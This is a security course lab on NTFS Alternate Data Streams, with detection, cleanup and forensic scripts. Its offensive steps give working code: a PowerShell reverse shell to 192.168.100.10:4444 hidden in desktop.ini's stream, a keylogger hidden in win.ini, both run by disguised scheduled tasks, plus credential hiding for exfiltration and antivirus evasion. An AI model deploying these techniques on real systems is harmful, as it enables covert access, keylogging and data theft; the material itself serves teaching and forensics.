Skip to main content

Lab 4.2: Alternate Data Streams - File Hiding

Learning Objectives​

By the end of this lab, you will be able to:

  • Understand the concept of Alternate Data Streams in NTFS
  • Create and manipulate alternate data streams
  • Hide files and malicious code using ADS
  • Execute code from an alternate stream
  • Detect the presence of ADS on a system
  • Clean and remove malicious ADS

Estimated Duration​

30 minutes

Prerequisites​

  • Windows VM with NTFS file system
  • CMD and PowerShell command line
  • Understanding of file systems (theoretical course)
  • Lab 4.1 completed

Professional Context​

Alternate Data Streams (ADS) are a legitimate feature of NTFS, but widely exploited by attackers to:

  • Hide malware
  • Store tools without detection
  • Bypass certain antivirus
  • Maintain discreet persistence
  • Exfiltrate data stealthily

Legitimate use:

  • File metadata (zone identifier, author, etc.)
  • Extended attributes
  • Thumbnails and previews
  • Download information (Mark of the Web)

Malicious use:

  • Hiding malware
  • Storing stolen credentials
  • Invisible backdoors
  • Data exfiltration

The hiding techniques taught in this lab are used by attackers to hide malware and maintain stealthy access to systems.

AUTHORIZED:

  • On your test VM
  • For authorized security tests
  • For forensic investigation with permission

PROHIBITED:

  • Hiding malware on real systems
  • Using for hiding malicious activities
  • Unauthorized data exfiltration

CONSEQUENCES: Malicious use = Serious computer crime (Criminal Code art. 342.1, 430).


Part 1: Understanding Alternate Data Streams​

Step 1.1: Basic Concept​

NTFS File System:

Each NTFS file actually has several "streams":

  • Main stream: The visible content of the file
  • Alternate streams: Additional invisible data

Syntax:

file.txt                    → Main stream
file.txt:stream1.txt → Alternate stream named "stream1.txt"
file.txt:hidden.exe → Alternate stream named "hidden.exe"

Characteristics:

  • Invisible in Windows Explorer
  • Invisible with standard dir
  • No size limit
  • Can contain any type of data
  • Can be executed

Step 1.2: Verify Your File System​

Verify you are on NTFS:

fsutil fsinfo volumeinfo C:

Look for: File System Name : NTFS

If you are on FAT32 or exFAT: ADS does NOT work (NTFS only)

Questions:

  1. Is your C: drive on NTFS?
  2. Have you heard of ADS before this lab?

Part 2: Creating and Manipulating ADS​

Step 2.1: Create Your First ADS​

Create a normal file:

echo This is the visible content > normal.txt

Check the size:

dir normal.txt

Should show about 30 bytes.

Add an alternate stream:

echo This is a hidden secret message > normal.txt:hidden.txt

Check the size again:

dir normal.txt

IMPORTANT: The size has NOT changed! Still 30 bytes!

Open the file with Notepad:

notepad normal.txt

You see: "This is the visible content"

The hidden message is INVISIBLE!

Step 2.2: Read an ADS​

To read the content of the hidden stream:

more < normal.txt:hidden.txt

OR

notepad normal.txt:hidden.txt

Notepad opens with the hidden content!

PowerShell:

Get-Content normal.txt:hidden.txt

Questions: 3. Can you see the hidden stream with dir? 4. How much does the file "weigh" with the hidden stream? (Same size!)

Step 2.3: List the ADS of a File​

Command to see ALL streams:

dir /R normal.txt

Should display:

30 normal.txt
33 normal.txt:hidden.txt:$DATA

PowerShell (clearer):

Get-Item normal.txt -Stream *

Result:

FileName: normal.txt

Stream Length
------ ------
:$DATA 30
hidden.txt 33

The hidden stream is revealed!

Step 2.4: Create Multiple ADS​

You can have multiple streams on the same file:

echo Secret 1 > normal.txt:data1.txt
echo Secret 2 > normal.txt:data2.txt
echo Secret 3 > normal.txt:data3.txt

List all:

Get-Item normal.txt -Stream *

One file, 4 data streams (1 main + 3 alternate)!

Questions: 5. How many streams can you create on a file? 6. Is there a size limit for an ADS?


Part 3: Hiding Executable Files​

Step 3.1: Hide a Complete Executable​

Create a malicious PowerShell script:

Save malware.ps1:

Write-Host "Malware executed!" -ForegroundColor Red
whoami
hostname
Get-Process | Select-Object -First 10

Hide it in an innocent text file:

type malware.ps1 > innocent.txt:malware.ps1

Verify:

dir innocent.txt

Size: Just a few bytes (the visible text)!

But the full script is hidden inside!

Execute the hidden script:

powershell -ExecutionPolicy Bypass -File innocent.txt:malware.ps1

The script runs from the hidden stream!

AMAZING: File seems innocent (text), actually contains a full script!

Step 3.2: Hide a .exe Binary​

Download netcat (nc.exe):

From: https://eternallybored.org/misc/netcat/

Hide it in an image file:

type nc.exe > photo.jpg:nc.exe

Check the photo:

dir photo.jpg

Normal photo size (a few KB).

Open photo.jpg: The image displays normally!

But netcat is hidden inside!

Execute netcat from the stream:

wmic process call create "C:\Users\YourName\Desktop\photo.jpg:nc.exe"

Netcat runs from the photo!

Questions: 7. Does an antivirus scan ADS by default? 8. How could a forensic analyst detect this?

Step 3.3: Persistence via ADS​

Advanced technique: Hide backdoor + automatic execution

Step 1 - Hide the payload:

# Reverse shell script
$reverseShell = @"
`$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);
`$stream = `$client.GetStream();
[byte[]]`$bytes = 0..65535|%{0};
while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){
`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);
`$sendback = (iex `$data 2>&1 | Out-String);
`$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';
`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);
`$stream.Write(`$sendbyte,0,`$sendbyte.Length);
`$stream.Flush()
};
`$client.Close()
"@

# Hide in an innocent system file
$reverseShell | Out-File -FilePath "C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"

Step 2 - Create scheduled task that executes from ADS:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup

Register-ScheduledTask -TaskName "SystemMaintenance" -Action $action -Trigger $trigger

Result:

  • Completely invisible backdoor
  • No visible .ps1 file
  • Scheduled task seems normal
  • Runs at every startup
  • Very hard to detect!

Part 4: Data Exfiltration via ADS​

Step 4.1: Hide Stolen Data​

Scenario: You have stolen credentials and want to exfiltrate them discreetly.

Create a file with sensitive data:

echo admin:Password123! > credentials.txt
echo user1:SecretPass456 >> credentials.txt
echo database:DBPassword789 >> credentials.txt

Hide in an innocent system file:

type credentials.txt > C:\Windows\System32\notepad.exe:stolen_data.txt

Delete the original:

del credentials.txt

Verification:

  • credentials.txt no longer exists
  • notepad.exe is the same size as before
  • Data hidden in notepad.exe!

Retrieve later:

more < C:\Windows\System32\notepad.exe:stolen_data.txt

Data retrieved!

Step 4.2: Exfiltration via Copy​

To exfiltrate:

Method 1 - Copy the entire file:

copy C:\Windows\System32\notepad.exe E:\notepad_backup.exe

On another machine, extract the stream:

more < notepad_backup.exe:stolen_data.txt

Streams are PRESERVED during copy!

Method 2 - Direct stream extraction:

more < notepad.exe:stolen_data.txt > data.txt

Questions: 9. Are ADS preserved during a copy? 10. What happens if you copy to a FAT32 system?


Part 5: Detecting ADS​

Step 5.1: Detection Methods​

Method 1 - DIR with /R option:

dir /R C:\Users\%USERNAME%\Desktop

Displays all streams of all files.

Method 2 - PowerShell (Recursive):

Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -ErrorAction SilentlyContinue | 
ForEach-Object {
$streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'}
if ($streams) {
[PSCustomObject]@{
File = $_.FullName
Stream = $streams.Stream -join ", "
Size = $streams.Length
}
}
} | Format-Table -AutoSize

Method 3 - Streams Tool (Sysinternals):

Download: https://learn.microsoft.com/en-us/sysinternals/downloads/streams

streams -s C:\Users\%USERNAME%

Displays ALL files with ADS!

Step 5.2: Automated Detection Script​

Create detect_ads.ps1:

param(
[string]$Path = "C:\",
[switch]$SuspiciousOnly
)

Write-Host "=== DETECTION ALTERNATE DATA STREAMS ===" -ForegroundColor Cyan
Write-Host "Scanning: $Path"
Write-Host ""

$suspiciousExtensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd', '.js')
$results = @()

Get-ChildItem -Path $Path -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
try {
$file = $_
$streams = Get-Item $file.FullName -Stream * -ErrorAction Stop |
Where-Object {$_.Stream -ne ':$DATA'}

foreach ($stream in $streams) {
$isSuspicious = $false
$reason = ""

# Check if suspicious extension
$streamExt = [System.IO.Path]::GetExtension($stream.Stream)
if ($streamExt -in $suspiciousExtensions) {
$isSuspicious = $true
$reason = "Executable extension"
}

# Check if large stream
if ($stream.Length -gt 10KB) {
$isSuspicious = $true
$reason += " Large size ($($stream.Length) bytes)"
}

# If SuspiciousOnly mode, filter
if (-not $SuspiciousOnly -or $isSuspicious) {
$results += [PSCustomObject]@{
File = $file.FullName
Stream = $stream.Stream
Size = $stream.Length
Suspicious = $isSuspicious
Reason = $reason
}
}
}
} catch {}
}

if ($results.Count -gt 0) {
Write-Host "ADS DETECTED:" -ForegroundColor Yellow
$results | Format-Table -AutoSize

Write-Host "`nTotal: $($results.Count) streams found" -ForegroundColor Yellow
$suspicious = ($results | Where-Object {$_.Suspicious}).Count
if ($suspicious -gt 0) {
Write-Host "WARNING: $suspicious suspicious streams!" -ForegroundColor Red
}
} else {
Write-Host "No ADS detected." -ForegroundColor Green
}

Execution:

# Scan everything
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\Users\$env:USERNAME

# Only suspects
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\ -SuspiciousOnly

Step 5.3: Zone Identifier (Legitimate Use)​

Windows uses ADS to mark downloaded files:

Download a file from the Internet, then:

Get-Item downloaded_file.exe -Stream *

You will see:

Stream: Zone.Identifier

Read it:

more < downloaded_file.exe:Zone.Identifier

Content:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com/download
HostUrl=https://cdn.example.com/file.exe

ZoneId=3: Downloaded from the Internet (untrusted)

That's why Windows shows the warning "This file came from the Internet"!

Questions: 11. Which files on your system have a Zone.Identifier stream? 12. How to remove this stream? (to bypass the warning)


Part 6: Advanced Offensive Techniques​

Step 6.1: Code Execution from ADS​

Create a malicious batch file:

@echo off
whoami > C:\Users\Public\whoami.txt
ipconfig > C:\Users\Public\ipconfig.txt
net user > C:\Users\Public\users.txt

Hide it:

type malware.bat > C:\Users\Public\readme.txt:payload.bat

Execute from the stream:

Method 1 - WMIC:

wmic process call create "C:\Users\Public\readme.txt:payload.bat"

Method 2 - PowerShell:

Start-Process -FilePath "C:\Users\Public\readme.txt:payload.bat"

The code executes! Check:

type C:\Users\Public\whoami.txt

Your username appears!

The malware was completely invisible until execution!

Step 6.2: Hide a Complete Keylogger​

Use the keylogger from Lab 3.3:

Hide it in a system file:

type keylogger.ps1 > C:\Windows\win.ini:logger.ps1

win.ini: Legitimate Windows file, always present, never suspicious!

Create scheduled task to execute it:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\win.ini:logger.ps1"

$trigger = New-ScheduledTaskTrigger -AtLogon

Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger

Result:

  • Completely invisible keylogger
  • No visible .ps1 file
  • VERY difficult to detect
  • Works at every login

Step 6.3: Bypass Antivirus with ADS​

Some antivirus do NOT scan ADS by default!

Test with EICAR:

Create normal EICAR file:

echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > eicar.com

Windows Defender should IMMEDIATELY detect and delete it!

Now, hide it in an ADS:

echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > innocent.txt:eicar.com

Result: Some antivirus do not detect it!

NOTE: Modern Windows Defender detects ADS, but not all antivirus.

Questions: 13. Did Defender detect EICAR in the stream? 14. Why are ADS harder to scan?


Part 7: Cleaning and Removing ADS​

Step 7.1: Remove a Specific Stream​

PowerShell:

Remove-Item -Path "file.txt" -Stream "stream_name"

Example:

Remove-Item -Path "normal.txt" -Stream "hidden.txt"

Verify:

Get-Item normal.txt -Stream *

The stream "hidden.txt" should have disappeared!

Step 7.2: Remove ALL Streams from a File​

Method 1 - Copy to FAT32:

copy file.txt E:\USB_FAT32\file.txt

FAT32 does NOT support ADS: All removed!

Method 2 - Streams.exe Tool:

streams -d file.txt

Option -d: Delete all streams

Method 3 - Recursive PowerShell:

Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -File | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
Write-Host "Removing: $($_.FullName):$($stream.Stream)"
Remove-Item -Path $_.FullName -Stream $stream.Stream
}
}

WARNING: This removes ALL ADS, even legitimate ones (Zone.Identifier)!

Step 7.3: Complete Security Cleaning​

Automated cleaning script:

Write-Host "=== MALICIOUS ADS CLEANING ===" -ForegroundColor Cyan

$cleaned = 0
$extensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd')

Get-ChildItem -Path C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
try {
$file = $_
$streams = Get-Item $file.FullName -Stream * -ErrorAction Stop |
Where-Object {$_.Stream -ne ':$DATA'}

foreach ($stream in $streams) {
$streamExt = [System.IO.Path]::GetExtension($stream.Stream)

# Remove if executable extension
if ($streamExt -in $extensions) {
Write-Host "REMOVING: $($file.FullName):$($stream.Stream)" -ForegroundColor Red
Remove-Item -Path $file.FullName -Stream $stream.Stream -ErrorAction Stop
$cleaned++
}
}
} catch {}
}

Write-Host "`nTotal: $cleaned malicious streams removed" -ForegroundColor Green

Questions: 15. How many files with ADS did you find on your system? 16. How to differentiate legitimate vs malicious ADS?


Part 8: Forensics and Investigation​

Step 8.1: Analyze a Compromised System​

Scenario: You suspect an attacker used ADS.

Complete investigation:

Write-Host "=== FORENSIC ADS INVESTIGATION ===" -ForegroundColor Cyan

# Search in system folders
$systemFolders = @(
"C:\Windows\System32",
"C:\Windows\Temp",
"C:\Users\*\AppData\Local\Temp"
)

foreach ($folder in $systemFolders) {
Write-Host "`nScanning: $folder" -ForegroundColor Yellow

Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'}

if ($streams) {
Write-Host " File: $($_.FullName)"
foreach ($stream in $streams) {
Write-Host " Stream: $($stream.Stream) ($($stream.Length) bytes)"

# Read first bytes for analysis
$content = Get-Content $_.FullName:$($stream.Stream) -TotalCount 5 -ErrorAction SilentlyContinue
if ($content) {
Write-Host " Preview: $($content -join ' ')"
}
}
}
}
}

Step 8.2: Timeline Analysis​

Create ADS timeline:

Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue |
Where-Object {$_.Stream -ne ':$DATA'} |
Select-Object @{N='File';E={$_.FileName}},
Stream,
@{N='Size';E={$_.Length}},
@{N='Created';E={(Get-Item $_.FileName).CreationTime}},
@{N='Modified';E={(Get-Item $_.FileName).LastWriteTime}}
} | Sort-Object Modified -Descending | Format-Table -AutoSize

Allows seeing:

  • When files were modified
  • Correlation with suspicious events
  • Attack timeline

Step 8.3: Extraction for Analysis​

Extract all ADS into a folder for analysis:

$outputDir = "C:\Forensics\ADS_Extract"
New-Item -ItemType Directory -Force -Path $outputDir

Get-ChildItem C:\Suspect\Path -Recurse -File | ForEach-Object {
$streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
foreach ($stream in $streams) {
$outputFile = Join-Path $outputDir "$($_.Name)_$($stream.Stream)"
Get-Content $_.FullName:$($stream.Stream) -Raw | Out-File $outputFile
Write-Host "Extracted: $outputFile"
}
}

Then: Analyze with antivirus, decompilation, static analysis

Questions: 17. What tools would you use to analyze a suspicious ADS? 18. How to reconstruct the timeline of an attack using ADS?


Deliverables​

To submit:

  1. Technical Report (Word/PDF, 3-4 pages):

    • Answers to the 18 questions
    • Explanation of the ADS concept
    • Demonstration of 3 hiding techniques
    • Results from the detection script
  2. Screenshots (minimum 6):

    • Creation of ADS with hidden file
    • dir vs dir /R (visible difference)
    • Code execution from ADS
    • Detection with PowerShell
    • List of streams (Get-Item -Stream *)
    • ADS removal
  3. Developed Scripts:

    • Improved detection script
    • Automated cleaning script
    • Forensic extraction script
  4. Case Analysis (1-2 pages):

    • Attack scenario using ADS
    • Detection methodology
    • Remediation plan

Evaluation Criteria​

CriterionPoints
Understanding of ADS concept20%
Creation and manipulation of ADS25%
Detection of existing ADS20%
Functional detection script20%
Forensic analysis and remediation15%

Quick Reference Commands​

Creation​

echo content > file.txt:stream.txt
type source.exe > file.txt:hidden.exe

Reading​

more < file.txt:stream.txt
notepad file.txt:stream.txt
type file.txt:stream.txt

Detection​

dir /R
streams -s C:\
Get-Item file.txt -Stream *
Get-ChildItem -Recurse | Get-Item -Stream * | Where Stream -ne ':$DATA'

Execution​

wmic process call create "file.txt:payload.bat"
start file.txt:payload.exe
powershell -File file.txt:script.ps1

Removal​

Remove-Item file.txt -Stream stream_name
streams -d file.txt

Troubleshooting​

Problem: "Access denied" when creating ADS​

Solution: Check that you have write permissions on the main file. If you cannot modify the file, you cannot add a stream.

Problem: ADS not working​

Solution: Verify you are on NTFS. FAT32/exFAT do not support ADS.

Problem: Stream copied to USB disappears​

Solution: Your USB is probably on FAT32. ADS are lost when copying to non-NTFS file systems.


Going Further (Optional)​

Challenge 1: ADS Forensics​

Analyze a suspicious file with ADS:

  • Extract all streams
  • Analyze content (strings, hex dump)
  • Identify malicious intent
  • Document indicators of compromise (IOCs)

Challenge 2: Proactive Protection​

Develop a monitoring service that:

  • Monitors creation of new ADS
  • Alerts on executable extensions
  • Logs all ADS operations
  • Automatically blocks suspicious ADS

Challenge 3: Research​

Study real malware using ADS:

  • Trojan.Sriknot (2007)
  • Streaming data exfiltration techniques
  • APT groups using ADS for persistence

Additional Resources​


Conclusion​

This lab taught you:

  • The concept and functioning of Alternate Data Streams
  • Techniques for hiding files and malicious code
  • Code execution from hidden streams
  • Forensic detection methods
  • Cleaning and remediation

Key lessons:

  1. ADS allow hiding complete files within other files
  2. Files hidden in ADS are invisible with standard tools
  3. Code can be executed directly from an ADS
  4. Detection requires specialized tools or specific commands
  5. ADS are a highly effective persistence and hiding technique

In a real context:

  • Used by sophisticated malware to avoid detection
  • Discreet persistence technique
  • Stealthy data exfiltration
  • Requires advanced forensics to detect

Next step: Lab 4.3 where you will learn to recover "permanently deleted" files using Windows Shadow Copies!


Lab developed as part of the Operating Systems course - MODULE 4